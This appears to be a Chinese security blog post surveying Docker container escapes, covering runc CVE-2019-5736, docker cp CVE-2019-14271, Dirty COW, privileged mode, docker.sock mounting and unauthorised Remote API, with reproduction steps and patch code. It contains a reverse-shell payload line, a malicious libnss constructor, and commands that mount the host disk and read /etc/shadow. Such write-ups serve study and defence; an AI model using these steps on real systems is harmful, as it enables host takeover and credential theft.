docker安全二:容器逃逸的常见方式

文章最后更新时间为:2021年05月24日 12:04:03

文章汇总:

目前的 Docker 逃逸的原因可以划分为三种:

  • 由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
  • 由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271
  • 由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、sock通信方式、docker Remote API未授权

这里总结了现在常见的逃逸手段,如果有遗漏,欢迎补充交流。

1. 判断是否在docker中

  • .dockerenv 文件
docker里面
$ docker run -it ubuntu:20.04 bash
root@c99fb4c4d4ad:/# ls /.dockerenv 
/.dockerenv

外面
# yanq @ yanq-desk in ~ [20:41:36] 
$ ls -alh /.dockerenv
ls: 无法访问'/.dockerenv': 没有那个文件或目录
  • 查询系统进程的cgroup信息

最可靠的方法是检查/proc/1/cgroup,当位于容器中时,将看到的docker的名称,类似于/docker/

docker里面
root@c99fb4c4d4ad:/#  cat /proc/1/cgroup
12:memory:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
11:net_cls,net_prio:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
10:cpuset:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
9:perf_event:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
8:hugetlb:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
7:freezer:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
6:rdma:/
5:devices:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
4:blkio:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
3:cpu,cpuacct:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
2:pids:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
1:name=systemd:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
0::/system.slice/containerd.service


外面
# yanq @ yanq-desk in ~ [20:41:41] C:2
$  cat /proc/1/cgroup
12:memory:/init.scope
11:net_cls,net_prio:/
10:cpuset:/
9:perf_event:/
8:hugetlb:/
7:freezer:/
6:rdma:/
5:devices:/init.scope
4:blkio:/init.scope
3:cpu,cpuacct:/init.scope
2:pids:/init.scope
1:name=systemd:/init.scope
0::/init.scope

2. Docker 软件设计引起的逃逸

2.1 CVE-2019-5736 runC漏洞逃逸

在docker的组件中,runc是一个标准的OCI容器运行时的实现,它是一个命令行工具,通过调用Namespace、Cgroup等系统接口,负责真正意义上创建和启动容器。换句话说,docker客户端就是通过调用runc来创建销毁机器的。

# yanq @ yanq-desk in ~ [16:28:01] 
$ docker info | grep "runc"                    
 Runtimes: runc
 Default Runtime: runc
 runc version: dc9208a3303feef5b3839f4323d9beb36df0a9dd
WARNING: No swap limit support

影响版本

  • Docker Version < 18.09.2
  • runC Version <= 1.0-rc6

漏洞原理

漏洞总结下来就是一句话,攻击者可以重写宿主机上的runc二进制文件。

先来看/proc/self/exe是什么?

$ file /proc/self/exe
/proc/self/exe: symbolic link to /usr/bin/file

proc/self/exe符号链接会指向调用者自身,同理proc/pid/exe会指向pid进程的调用者。但是/proc/pid/exe和一般符号链接不同,其不遵循符号链接的正常语义,当进程打开/proc/pid/exe时,没有正常的读取和跟踪符号链接内容的过程。相反,内核只是让用户直接访问打开的文件条目。

漏洞产生的原因就是宿主机通过runc对docker容器进行操作的时候没有做好访问限制,导致runc可以通过/proc/self/exe符号链接来访问到宿主机上的runc文件。攻击者可以让runc运行/proc/self/exe符号链接来欺骗它自己执行自己,从而对宿主机上的runc文件进行覆盖重写。

具体的利用步骤:

  1. 容器内生成一个恶意文件,将文件的调用者改为proc/self/exe
  2. 宿主机docker exec调用该恶意文件,会调用proc/self/exe,也就是runc,此时容器内便可以遍历proc进程号,获取runc的进程号
  3. 得到容器进称号PID后,可以获取/proc/pid/exe文件描述符fd
  4. 对fd进行写操作,覆盖原有runc的文件

问题1:攻击者为什么不继续写入恶意文件从而覆盖主机上的runc二进制文件?

因为内核将不允许在执行runC时将其覆盖。于是可以通过获取/proc/PID/exe的file handler 来获取runcinit的文件描述符。 然后再写入该文件。

问题2:runc创建容器时,会首先创建新进程runc-init,并且runc-init在另一个namespace里面,用来做隔离,那么为什么不覆盖runc的子进程runC init?

CVE-2016-9962漏洞修补程序在进入容器之前就将runC init进程设置为“不可转储”(Non-dumpable)。其漏洞原理是runC init进程拥有来自宿主机的打开文件描述符,容器中的攻击者可以利用它来遍历主机的文件系统,从而打开容器。

漏洞复现

首先安装带有漏洞版本的docker,我直接使用的是ubuntu16,版本为18.06.1-ce。

如果你没有安装docker或者docker版本没有漏洞,则需要重新安装docker的漏洞版本,步骤如下:

sudo apt-get remove docker docker-engine docker.io containerd runc
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=arm64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-cache madison docker-ce

# 下面选择一个docker-ce版本进行安装
sudo apt-get install docker-ce=<version>

下面利用https://github.com/Frichetten/CVE-2019-5736-PoC/来复现

# 1 编译好main.go,此步骤略

# 2 备份runc或者docker-runc!!!
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak

# 3 启动一个docker容器
docker run -it --rm --name test ubuntu:18.04 /bin/bash

# 4 将第一步编译的文件拷贝进容器,并且执行

# 5. 从主机上docker exec进这个容器,执行/bin/sh
执行完之后,poc会将/etc/shadow文件复制到/tmp/shadow

备注:如果需要反弹shell,只需要修改main.go里面的payload为:
payload = "#!/bin/bash \n bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1"

以下视频需要全屏播放!

漏洞修复

漏洞的修补在https://github.com/opencontainers/runc/commit/6635b4f0c6af3810594d2770f662f34ddc15b40d

增加了一个ensure_cloned_binary函数

int ensure_cloned_binary(void)
{
    int execfd;
    char **argv = NULL, **envp = NULL;

    /* Check that we're not self-cloned, and if we are then bail. */
    int cloned = is_self_cloned();
    if (cloned > 0 || cloned == -ENOTRECOVERABLE)
        return cloned;

    if (fetchve(&argv, &envp) < 0)
        return -EINVAL;

    execfd = clone_binary();
    if (execfd < 0)
        return -EIO;

    fexecve(execfd, argv, envp);
    return -ENOEXEC;
}

static int is_self_cloned(void)
{
    int fd, ret, is_cloned = 0;

    fd = open("/proc/self/exe", O_RDONLY|O_CLOEXEC);
    if (fd < 0)
        return -ENOTRECOVERABLE;

#ifdef HAVE_MEMFD_CREATE
    ret = fcntl(fd, F_GET_SEALS);
    is_cloned = (ret == RUNC_MEMFD_SEALS);
#else
    struct stat statbuf = {0};
    ret = fstat(fd, &statbuf);
    if (ret >= 0)
        is_cloned = (statbuf.st_nlink == 0);
#endif
    close(fd);
    return is_cloned;
}

判断/proc/self/exe是否被clone,如果没有的话,则执行clone_binary函数,返回一个新的file handler。

static int clone_binary(void)
{
    int binfd, memfd;
    ssize_t sent = 0;

#ifdef HAVE_MEMFD_CREATE
    memfd = memfd_create(RUNC_MEMFD_COMMENT, MFD_CLOEXEC | MFD_ALLOW_SEALING);
#else
    memfd = open("/tmp", O_TMPFILE | O_EXCL | O_RDWR | O_CLOEXEC, 0711);
#endif
    if (memfd < 0)
        return -ENOTRECOVERABLE;

    binfd = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
    if (binfd < 0)
        goto error;

    sent = sendfile(memfd, binfd, NULL, RUNC_SENDFILE_MAX);
    close(binfd);
    if (sent < 0)
        goto error;

#ifdef HAVE_MEMFD_CREATE
    int err = fcntl(memfd, F_ADD_SEALS, RUNC_MEMFD_SEALS);
    if (err < 0)
        goto error;
#else
    /* Need to re-open "memfd" as read-only to avoid execve(2) giving -EXTBUSY. */
    int newfd;
    char *fdpath = NULL;

    if (asprintf(&fdpath, "/proc/self/fd/%d", memfd) < 0)
        goto error;
    newfd = open(fdpath, O_RDONLY | O_CLOEXEC);
    free(fdpath);
    if (newfd < 0)
        goto error;

    close(memfd);
    memfd = newfd;
#endif
    return memfd;

error:
    close(memfd);
    return -EIO;
}

2.2 CVE-2019-14271 cp命令漏洞

影响版本

docker < 19.03.1

漏洞原理

Docker cp命令使用了一个辅助进程docker-tar,docker-tar chroot到容器中,归档其中请求的文件及目录,然后将生成的tar文件传回Docker守护进程,该进程负责将文件提取到宿主机上的目标目录中。

执行chroot是为了避免符号链接(symlink)攻击,防止将容器内部的的符号链接解析到宿主机上,比如上面的CVE-2019-5736。但是这样带来一个问题:docker-tar只好从容器中加载自己需要的库,比如libnss_*.so库,这样容器中就可以控制这个链接库。

这里需要注意:除了chroot到容器文件系统中之外,docker-tar并没有被容器化。docker-tar运行在宿主机命名空间中,具备所有root功能,并且没有受cgroups以及seccomp限制。因此,攻击者可以将代码注入到docker-tar,就可以通过恶意容器获得宿主机的完整root访问权限。

当Docker用户从如下几种容器中拷贝文件时,就存在被攻击的风险:

  • 运行恶意镜像的容器,其中带有恶意的libnss_*.so库;
  • 攻击者在被入侵的容器中替换libnss_*.so库。

漏洞来源是个issue,有个用户尝试从容器中拷贝文件,但docker cp命令总是无法成功执行,问题就在于该镜像并没有包含libnss库。

漏洞复现

我们可以编译一个恶意so库对原生的镜像库进行替换,使宿主进程调用恶意so库过程中执行攻击者定义的危险代码。

根据漏洞作者的文章,需要重新编译libnss_files.so.2的源码,在其中加入链接时启动代码(run_at_link),并定义执行函数。

#include ...
 
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
 
bool is_priviliged();
 
__attribute__ ((constructor)) void run_at_link(void)
{
     char * argv_break[2];
     if (!is_priviliged())
           return;
 
     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
     fprintf(log_fp, "switched back to the original libnss_file.so");
 
     if (!fork())
     {
 
           // Child runs breakout
           argv_break[0] = strdup("/breakout");
           argv_break[1] = NULL;
           execve("/breakout", argv_break, NULL);
     }
     else
           wait(NULL); // Wait for child
 
     return;
}
bool is_priviliged()
{
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL)
     {
           fclose(proc_file);
           return false; // can open so /proc exists, not privileged
     }
     return true; // we're running in the context of docker-tar
}

根据参考文章3,选取的是nss路径下的files-init.c源文件。这一步本地没复现好,找了半天源码结果编译有问题,先鸽了。

漏洞修复

漏洞补丁:https://github.com/moby/moby/pull/39612

19.03.1在archive.go包中添加了一个init函数,使用了user模块的Lookup/LookupHost函数负责解析用户名/主机名。

而user模块的这两个方法底层其实调用了linux的libnss_files.so.2中的接口,这样的话libnss_files.so.2就会被提前加载进内存了。
修复了docker-tar的init函数,避免存在问题的Go package调用任意函数。补丁强制docker-tar在chroot到容器前,先从宿主机系统中加载libnss库。

3. 配置不当引发的漏洞

3.1 Docker Remote API 未授权访问

之前的文章中有提过

Docker Remote API是一个取代远程命令行界面(rcli)的REST API,如果配置不当可以未经授权进行访问,可能导致敏感信息泄露,黑客也可以恶意删除Docker上的数据,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

exp: https://github.com/Tycx2ry/docker_api_vul

3.2 使用了--privileged特权模式

--privileged可以启动docker的特权模式,这种模式允许容器获得宿主机具有几乎所有的能力,包括一些内核特性和设备访问。

比如启动一个特权模式的容器,然后mount宿主机磁盘到容器内,就可以操纵宿主机了。

复现步骤如下:

# 启动一个特权ubuntu container
# yanq @ yanq in ~ [15:32:19] 
$ docker run -it --name ubuntu --rm --privileged ubuntu:18.04 bash 

# 查看disk
root@8603ca4eddc8:/# fdisk -l
Disk /dev/sda: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 5E57AF81-C3EB-4DBB-8C8D-6F004835A843

Device      Start       End   Sectors   Size Type
/dev/sda1    2048    499711    497664   243M EFI System
/dev/sda2  499712 976771071 976271360 465.5G Linux filesystem

# 挂载宿主机的/dev/sda2到容器的/abc
root@8603ca4eddc8:/# mkdir /abc
root@8603ca4eddc8:/# mount /dev/sda2 /abc

# 之后便可以随意读写宿主机文件
root@8603ca4eddc8:/# cd /abc
root@8603ca4eddc8:/abc# ls
bin  boot  cdrom  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  tmp  usr  var
root@8603ca4eddc8:/abc# cat etc/shadow
root:!:18591:0:99999:7:::
daemon:*:18474:0:99999:7:::
bin:*:18474:0:99999:7:::
sys:*:18474:0:99999:7:::
sync:*:18474:0:99999:7:::
games:*:18474:0:99999:7:::
man:*:18474:0:99999:7:::
lp:*:18474:0:99999:7:::
.....略

3.3 挂载危险的Docker.sock

Docker采用C/S架构,通信方式有以下3种:

  • unix:///var/run/docker.sock(默认
  • tcp://host:port
  • fd://socketfd

逃逸复现过程如下:

# 挂载docker.sock到容器中
# yanq @ yanq-desk in ~ [15:54:38] 
$ docker run -it --name ubuntu --rm -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04 bash
     
root@4ed1c5c8c381:/# apt update && apt-get install -y docker.io  
# 容器安装docker客户端
root@9aef7ce3d86a:/# apt update && apt install -y docker.io

# 容器启动新的容器,并且挂载宿主机目录
root@9aef7ce3d86a:/# docker -H unix:///host/var/run/docker.sock info       
root@9aef7ce3d86a:/# docker -H unix:///host/var/run/docker.sock run -it -v /:/test ubuntu:18.0

# 之后便可以随意读写宿主机文件
root@153e94eaa082:/# cat /test/etc/shadow 
daemon:*:18345:0:99999:7:::
bin:*:18345:0:99999:7:::
sys:*:18345:0:99999:7:::
sync:*:18345:0:99999:7:::
games:*:18345:0:99999:7:::
man:*:18345:0:99999:7:::
lp:*:18345:0:99999:7:::
mail:*:18345:0:9999
...略

4. 内核漏洞引发的逃逸

4.1 脏牛漏洞dirtycow

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝存在竞争条件,允许恶意用户写只读内存映射的文件。

vDSO(virtual dvnamic shared object)是一个小型共享库,能将内核自动映射到所有用户程序的地址空间,可以利用dirty cow修改vDSO内存空间中的ckock_gettime()函数,所有进程调用ckock_gettime都会触发而不是仅仅是运行的进程。一旦竞争条件触发,shellcode执行后,它就会给你一个root权限的shell。

漏洞复现:

(复现需要在具有dirtycow漏洞的内核中,这里我本地没有环境复现)

# 1. 下载poc并且运行容器
git clone https://github.com/gebl/dirtycow-docker-vdso 
cd dirtycow-docker-vdso 
docker-compose run dirtycow /bin/bash 

# 2. 在宿主机中监听1234
nc -lvvp 1234

# 3. 在容器中exploit
cd /dirtycow-docker-vdso
make &./0xdeadbeef

其中exp反弹shell的地址为127.0.0.1:1234,可以在0xdeadbeef.c中的38/39行修改。

参考

  1. CVE-2019-5736 Docker逃逸
  2. CVE-2019-14271:Docker cp命令漏洞分析
  3. Docker cp逃逸漏洞(CVE-2019-14271)分析
  4. 初识Docker逃逸
  5. 渗透测试之Docker逃逸
1 + 3 =
2 评论
    zyleo Chrome 90 Windows 10
    2021年05月05日 回复

    最近在研究这东西,拜读一下~

    docker Chrome 89 Windows 10
    2021年03月22日 回复

    大佬CVE-2019-14271漏洞的so文件编译成功了吗?选取的是nss路径下的files-init.c源文件,这个files-init.c文件在哪里可以获取到啊?